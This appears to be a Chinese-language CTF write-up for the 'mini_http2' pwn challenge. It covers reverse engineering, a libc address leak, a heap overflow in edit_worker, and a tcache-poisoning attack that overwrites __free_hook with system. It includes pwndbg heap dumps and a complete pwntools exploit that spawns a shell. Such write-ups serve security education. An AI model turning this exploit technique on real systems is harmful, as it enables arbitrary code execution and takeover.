0%

堆溢出+Tcache Attack

mini_http2

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35
1
2
3
4
5
6
pwn: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f44285458d02382631cf8f9747971f71a6b36211, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,全开

程序逻辑

在以下调用链中可以泄露 libc_base:

1
main -> pwn -> protocol_fun -> ops -> login_fun -> snprintf
1
snprintf(v8, 0x1000uLL, "{'msg': 'login successful!','status': 1,'gift': \"%p\"}", &strstr);// 泄露libc
  • PS:函数名称都是我自定义的,凑合看吧

根据程序逻辑,在执行 login_fun 前,必须先执行 register_fun,调用链如下:

1
main -> pwn -> protocol_fun -> ops -> register_fun 

这两个函数都依靠一个字符串 protocol(包括 url)来运行对应的逻辑,里面有许多检查

  • register_fun:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
name = strstr(a1, "username=");
pwd = strstr(a1, "password=");
if ( !name || !pwd ) /* protocol中必须要有username和password */
output("Invalid argv");
name_last = strchr(name, '&');
if ( !name_last ) /* 用于计算name的长度 */
name_last = &name[strlen(name)];
pwd_last = strchr(pwd, '&');
if ( !pwd_last ) /* 用于计算pwd的长度 */
pwd_last = &pwd[strlen(pwd)];
name_chunk = malloc(name_last - name - 1);
memset(name_chunk, 0, name_last - name - 1);
memcpy(name_chunk, name + 9, name_last - name - 9);
pwd_chunk = malloc(pwd_last - pwd - 1);
memset(pwd_chunk, 0, pwd_last - pwd - 1);
memcpy(pwd_chunk, pwd + 9, pwd_last - pwd - 9);
if ( name_st )
free(name_st);
if ( pwd_st )
free(pwd_st);
name_st = (char *)name_chunk; /* 把name_chunk放入全局变量name_st */
pwd_st = (char *)pwd_chunk; /* 把pwd_chunk放入全局变量pwd_st */
  • login_fun:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
name = strstr(a1, "username=");
pwd = strstr(a1, "password=");
if ( !login_key )
{
if ( !name || !pwd ) /* protocol中必须要有username和password */
output("Invalid argv");
name_last = strchr(name, '&');
if ( !name_last ) /* 用于计算name的长度 */
name_last = &name[strlen(name)];
pwd_last = strchr(pwd, '&');
if ( !pwd_last ) /* 用于计算pwd的长度 */
pwd_last = &pwd[strlen(pwd)];
name_chunk = malloc(name_last - name - 1);
memset(name_chunk, 0, name_last - name - 1);
memcpy(name_chunk, name + 9, name_last - name - 9);
pwd_chunk = (char *)malloc(pwd_last - pwd - 1);
memset(pwd_chunk, 0, pwd_last - pwd - 1);
memcpy(pwd_chunk, pwd + 9, pwd_last - pwd - 9);
if ( !strcmp(name_st, (const char *)name_chunk) && !strcmp(pwd_st, pwd_chunk))
/* 对比全局变量name_st/pwd_st和当前获取的name_chunk/pwd_chunk(结果无所谓) */
login_key = 1;
free(name_chunk);
free(pwd_chunk);
memset(v8, 0, 0x1000uLL);
snprintf(v8, 0x1000uLL, "{'msg': 'login successful!','status': 1,'gift': \"%p\"}", &strstr); /* 泄露libc */
}
  • 泄露的脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def login():
size_protocol = "\x00" + "\x00" + "\x27"
cmd = size_protocol + "\x01" + "\x05"
cmd = cmd.ljust(9,"\x00")
p.send(cmd)

size_url = "\x00" + "\x00" + "\x00" + "\x20"
ops_cmd = "/login?"
name = "username=" + "123"
pwd = "&password=" + "123"
url = ops_cmd + name + pwd
protocol = "\x82" + "\x86" + "\x44" + size_url + url
print(hex(len(protocol)))
print(hex(len(url)))
p.send(protocol)

def register():
size_protocol = "\x00" + "\x00" + "\x2a"
cmd = size_protocol + "\x01" + "\x05"
cmd = cmd.ljust(9,"\x00")
p.send(cmd)

size_url = "\x00" + "\x00" + "\x00" + "\x23"
ops_cmd = "/register?"
name = "username=" + "123"
pwd = "&password=" + "123"
url = ops_cmd + name + pwd
protocol = "\x82" + "\x86" + "\x44" + size_url + url
print(hex(len(protocol)))
print(hex(len(url)))
p.send(protocol)

register()
login()
p.recvuntil("gift': \"")
leak_addr = eval(p.recvuntil("\"")[:-1])
libc_base = leak_addr - 0xc4200

success("leak_addr >> " + hex(leak_addr))
success("libc_base >> " + hex(libc_base))

另外,程序还提供了许多操作堆的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __fastcall api(char *url, char *strs)
{
if ( !strcmp(url, "/api/add_worker") )
{
add_worker(url, strs);
}
else if ( !strcmp(url, "/api/del_worker") )
{
del_worker(url, strs);
}
else if ( !strcmp(url, "/api/show_worker") )
{
show_worker(url, strs);
}
else if ( !strcmp(url, "/api/edit_worker") )
{
edit_worker(url, strs);
}
}

漏洞分析

1
2
3
4
5
6
7
8
9
10
len_name = strlen(name[4]);
memcpy(list[worker_num].name_addr_list, name[4], len_name); /* 堆溢出 */
name_addr_list = list[worker_num].name_addr_list;
name_addr_list[strlen(name[4])] = 0;
list[worker_num].name_len_list = strlen(name[4]);
len_desc = strlen(desc[4]);
memcpy(list[worker_num].desc_addr_list, desc[4], len_desc); /* 堆溢出 */
desc_addr_list = list[worker_num].desc_addr_list;
desc_addr_list[strlen(desc[4])] = 0;
list[worker_num].desc_len_list = strlen(desc[4]);
  • edit_worker 中有堆溢出
1
2
3
4
5
6
7
8
9
10
void __noreturn exit_s()
{
if ( *function )
{
if ( name_st )
((void (__fastcall *)(char *))*function)(name_st);
}
puts("goodbye!");
exit(0);
}
  • exit_s 中会执行一个函数指针,其实它就是 free_hook
1
2
pwndbg> telescope 0x55dc824e1000+0xD0A0
00:00000x55dc824ee0a0 —▸ 0x7f1130a994a8 (__free_hook) —▸ 0x7f11308c9d60 (system) ◂— endbr64
  • 在 libc-2.34 版本中删除了 free_hook malloc_hook realloc_hook 这些符号
  • 在 libc-2.35 版本中恢复了这些符号,但是在 free malloc realloc 中不会调用它们

但本题目提供了一个函数指针来调用 free_hook,因此传统的 free_hook 劫持是可行的

入侵思路

有堆溢出,已经泄露的 libc_base 和 heap_base

最简单的方法就是 tcache attack(因为已知 heap_base 可以伪造 key)

我的第一个思路比较简单:

1
2
3
4
5
6
add_worker("a"*0xa0,"a"*0xa0) # chunk0(用于泄露heap_base)
add_worker(p32(0x11111111),p32(0x11111111)) # chunk1
add_worker(p32(0x22222222),p32(0x22222222)) # chunk2
add_worker(p32(0x33333333),p32(0x33333333)) # chunk3
del_worker(1)
edit_worker(0,p32(0x22222222),payload)
  • 释放 chunk2
  • 修改 chunk1,利用堆溢出修改 chunk2->fd

但上述操作在实现的过程中会覆盖一些程序申请的 chunk,而导致报错,所以我们需要利用堆风水让可以溢出的 chunk_target 和已经释放的 chunk_free 相邻

经多次尝试,程序的分配逻辑如下:

  • 先申请4个chunk,然后顺序释放前2个chunk
  • 用如下测试案例可以得出结果:
1
2
3
add_worker("a"*0xa0,"a"*0xa0)
add_worker("b"*0xa0,"b"*0xa0)
add_worker("c"*0xa0,"c"*0xa0)
1
2
3
4
0xb0 [  4]: 0x55a9811028e0 —▸ 0x55a981102830 —▸ 0x55a981102660 —▸ 0x55a981102780 ◂— 0x0 
0xb0 [ 2]: 0x559a4cbd5830 —▸ 0x559a4cbd58e0 ◂— 0x0
0xb0 [ 2]: 0x55a31a9108e0 —▸ 0x55a31a910830 ◂— 0x0
0xb0 [ 2]: 0x5557bbb0f830 —▸ 0x5557bbb0f8e0 ◂— 0x0

依照这个逻辑,我们可以先检查一下 8d0 820 650 770 附近的堆风水:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Free chunk (tcache) | PREV_INUSE
Addr: 0x55916ba96770 /* chunk0:desc */
Size: 0xb1
fd: 0x55916ba96

Free chunk (tcache) | PREV_INUSE
Addr: 0x55916ba96820 /* 不会被申请 */
Size: 0xb1
fd: 0x559432bfdcf6

Free chunk (tcache) | PREV_INUSE
Addr: 0x55916ba968d0 /* 不会被申请 */
Size: 0xb1
fd: 0x559432bfd2a6
  • 发现3个连续的同大小的 chunk,很适合用来溢出
  • 攻击测试案例如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
add_worker("a"*0xa0,"a"*0xa0) # 用于获取heap_base

add_worker(p32(0x11111111),p32(0x11111111))
add_worker(p32(0x11111111),p32(0x11111111))
add_worker(p32(0x11111111),p32(0x11111111))
add_worker(p32(0x11111111),p32(0x11111111))

add_worker("a"*0xa0,"a"*0xa0)
del_worker(0) # 用于产生3个连续且相同的free chunk
add_worker("a"*0xa0,"a"*0xa0) # 申请4个chunk,释放2个chunk
target_addr = ((heap_base + 0x10) >> 12) ^ (free_hook - 0xa8)
payload = 'B' * 0xb0 + p64(target_addr)[:6]
edit_worker(0,p32(0x11111111),payload)
1
2
3
4
5
6
7
tcachebins
0x20 [ 5]: 0x55bd79c24ec0 —▸ 0x55bd79c250a0 —▸ 0x55bd79c24ee0 —▸ 0x55bd79c25030 —▸ 0x55bd79c24c40 ◂— 0x0
0x50 [ 4]: 0x55bd79c24710 —▸ 0x55bd79c25050 —▸ 0x55bd79c24e20 —▸ 0x55bd79c24e70 ◂— 0x0
0xb0 [ 2]: 0x55bd79c24830 —▸ 0x7f282fcac400 (__timer_compat_list+1984) ◂— 0x7f282fcac
0xc0 [ 1]: 0x55bd79c250c0 ◂— 0x0
0x100 [ 1]: 0x55bd79c24f30 ◂— 0x0
0x170 [ 1]: 0x55bd79c24430 ◂— 0x0
  • 成功把 target 放入 tcachebins 中,但是这里并不能直接把 target 取出放入 list(前两个 chunk 会被顺序释放,并且它们不会被放入 list
  • 解决的的办法很简单,使用 del_worker 释放掉两个 chunk 就可以了
1
2
3
4
del_worker(5)
add_worker("d"*0xa0,"d"*0xa0)
payload = 'c'*0xA8 + p64(system_libc)[:6]
edit_worker(5,p32(0x11111111),payload) # 已经成功劫持free_hook
1
2
3
4
5
6
7
8
tcachebins
0x20 [ 3]: 0x55ac097510a0 —▸ 0x55ac09751030 —▸ 0x55ac09750c40 ◂— 0x0
0x30 [ 1]: 0x55ac097511b0 ◂— 0x0
0x50 [ 2]: 0x55ac09750e20 —▸ 0x55ac09750e70 ◂— 0x0
0xb0 [ 4]: 0x55ac09750d10 —▸ 0x55ac09750c60 —▸ 0x55ac09750830 —▸ 0x7fefc0c74400 (__timer_compat_list+1984) ◂— 0x7fefc0c74
0xc0 [ 1]: 0x55ac097510c0 ◂— 0x0
0x100 [ 1]: 0x55ac09750f30 ◂— 0x0
0x170 [ 1]: 0x55ac09750430 ◂— 0x0
  • 最后执行一下 exit_s 就可以了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
# -*- coding: utf-8 -*-s
from pwn import *
import json

p = process("./pwn")

elf = ELF("./pwn")
libc = ELF("./libc.so.6")

d = "b*$rebase(0x6B6C)\n"
#gdb.attach(p,d)

def login():
size_protocol = "\x00" + "\x00" + "\x27"
cmd = size_protocol + "\x01" + "\x05"
cmd = cmd.ljust(9,"\x00")
p.send(cmd)

size_url = "\x00" + "\x00" + "\x00" + "\x20"
ops_cmd = "/login?"
name = "username=" + "111"
pwd = "&password=" + "222"
url = ops_cmd + name + pwd
protocol = "\x82" + "\x86" + "\x44" + size_url + url
print(hex(len(protocol)))
print(hex(len(url)))
p.send(protocol)

def register():
size_protocol = "\x00" + "\x00" + "\x2e"
cmd = size_protocol + "\x01" + "\x05"
cmd = cmd.ljust(9,"\x00")
p.send(cmd)

size_url = "\x00" + "\x00" + "\x00" + "\x27"
ops_cmd = "/register?"
name = "username=" + "/bin/sh"
pwd = "&password=" + "444"
url = ops_cmd + name + pwd
protocol = "\x82" + "\x86" + "\x44" + size_url + url
print(hex(len(protocol)))
print(hex(len(url)))
p.send(protocol)

def exit():
size_protocol = "\x00" + "\x00" + "\x0c"
cmd = size_protocol + "\x01" + "\x05"
cmd = cmd.ljust(9,"\x00")
p.send(cmd)

size_url = "\x00" + "\x00" + "\x00" + "\x05"
ops_cmd = "/exit"
url = ops_cmd
protocol = "\x82" + "\x86" + "\x44" + size_url + url
print(hex(len(protocol)))
print(hex(len(url)))
p.send(protocol)

def add_worker(name,desc):
size_protocol = "\x00" + "\x00" + "\x16"
cmd = size_protocol + "\x01" + "\x05"
cmd = cmd.ljust(9,"\x00")
p.send(cmd)

size_url = "\x00" + "\x00" + "\x00" + "\x0f"
url = "/api/add_worker"
protocol = "\x83" + "\x86" + "\x44" + size_url + url
print(hex(len(protocol)))
print(hex(len(url)))
p.send(protocol)

strs = '{"name": "' + name + '","desc": "' + desc + '"}'
size_strs = "\x00" + p16(len(strs))[::-1]
cmd2 = size_strs + "\x00"
cmd2 = cmd2.ljust(9,"\x00")
p.send(cmd2)
p.send(strs)

def del_worker(index):
size_protocol = "\x00" + "\x00" + "\x16"
cmd = size_protocol + "\x01" + "\x05"
cmd = cmd.ljust(9,"\x00")
p.send(cmd)

size_url = "\x00" + "\x00" + "\x00" + "\x0f"
url = "/api/del_worker"
protocol = "\x83" + "\x86" + "\x44" + size_url + url
print(hex(len(protocol)))
print(hex(len(url)))
p.send(protocol)

strs = {
'worker_idx':index,
}
size_strs = "\x00" + p16(len(json.dumps(strs)))[::-1]
cmd2 = size_strs + "\x00"
cmd2 = cmd2.ljust(9,"\x00")
p.send(cmd2)
p.send(json.dumps(strs))

def show_worker(index):
size_protocol = "\x00" + "\x00" + "\x17"
cmd = size_protocol + "\x01" + "\x05"
cmd = cmd.ljust(9,"\x00")
p.send(cmd)

size_url = "\x00" + "\x00" + "\x00" + "\x10"
url = "/api/show_worker"
protocol = "\x83" + "\x86" + "\x44" + size_url + url
print(hex(len(protocol)))
print(hex(len(url)))
p.send(protocol)

strs = {
'worker_idx':index,
}
size_strs = "\x00" + p16(len(json.dumps(strs)))[::-1]
cmd2 = size_strs + "\x00"
cmd2 = cmd2.ljust(9,"\x00")
p.send(cmd2)
p.send(json.dumps(strs))

def edit_worker(index,name,desc):
size_protocol = "\x00" + "\x00" + "\x17"
cmd = size_protocol + "\x01" + "\x05"
cmd = cmd.ljust(9,"\x00")
p.send(cmd)

size_url = "\x00" + "\x00" + "\x00" + "\x10"
url = "/api/edit_worker"
protocol = "\x83" + "\x86" + "\x44" + size_url + url
print(hex(len(protocol)))
print(hex(len(url)))
p.send(protocol)

strs = '{"worker_idx": ' + str(index) + ',"name": "' + name + '","desc": "' + desc + '"}'
size_strs = "\x00" + p16(len(strs))[::-1]
cmd2 = size_strs + "\x00"
cmd2 = cmd2.ljust(9,"\x00")
p.send(cmd2)
p.send(strs)

register()
login()
p.recvuntil("gift': \"")
leak_addr = eval(p.recvuntil("\"")[:-1])
libc_base = leak_addr - 0xc4200
system_libc = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]

success("leak_addr >> " + hex(leak_addr))
success("libc_base >> " + hex(libc_base))
success("system_libc >> " + hex(system_libc))
success("free_hook >> " + hex(free_hook))

add_worker("a"*0xa0,"a"*0xa0)

p.recvuntil("name_addr\": \"")
leak_addr = eval(p.recvuntil("\"")[:-1])
heap_base = leak_addr - 0x600
success("leak_addr >> " + hex(leak_addr))
success("heap_base >> " + hex(heap_base))

add_worker(p32(0x11111111),p32(0x11111111))
add_worker(p32(0x11111111),p32(0x11111111))
add_worker(p32(0x11111111),p32(0x11111111))
add_worker(p32(0x11111111),p32(0x11111111))

add_worker("a"*0xa0,"a"*0xa0)
del_worker(0)
add_worker("a"*0xa0,"a"*0xa0)
target_addr = ((heap_base + 0x10) >> 12) ^ (free_hook - 0xa8)
payload = 'b'*0xb0 + p64(target_addr)[:6]
edit_worker(0,p32(0x11111111),payload)
del_worker(5)
add_worker("d"*0xa0,"d"*0xa0)
payload = 'c'*0xA8 + p64(system_libc)[:6]
edit_worker(5,p32(0x11111111),payload)

exit()

p.interactive()

小结:

这个题目主要就是逆向,打比赛的时候摆烂没有做出来,之后的复现还是比较轻松的

我的思路和官方wp还有些不一样,当时我看见3个连续的 free chunk 时就直接开始考虑溢出的事情了,现在想来官方wp对于堆风水的处理还有些冗余

  • 最好不要跨 chunk 进行溢出,我的第一个思路就需要跨 chunk,为了解决程序报错的问题,需要先找到报错的原因,然后进行对应的伪造,最后因为 payload 过长而不得不放弃
  • 以后遇到类似的,还是要先搞清楚堆分配的规律(可以逆向,也可以直接试),然后再想办法制造相邻 chunk,以便进行溢出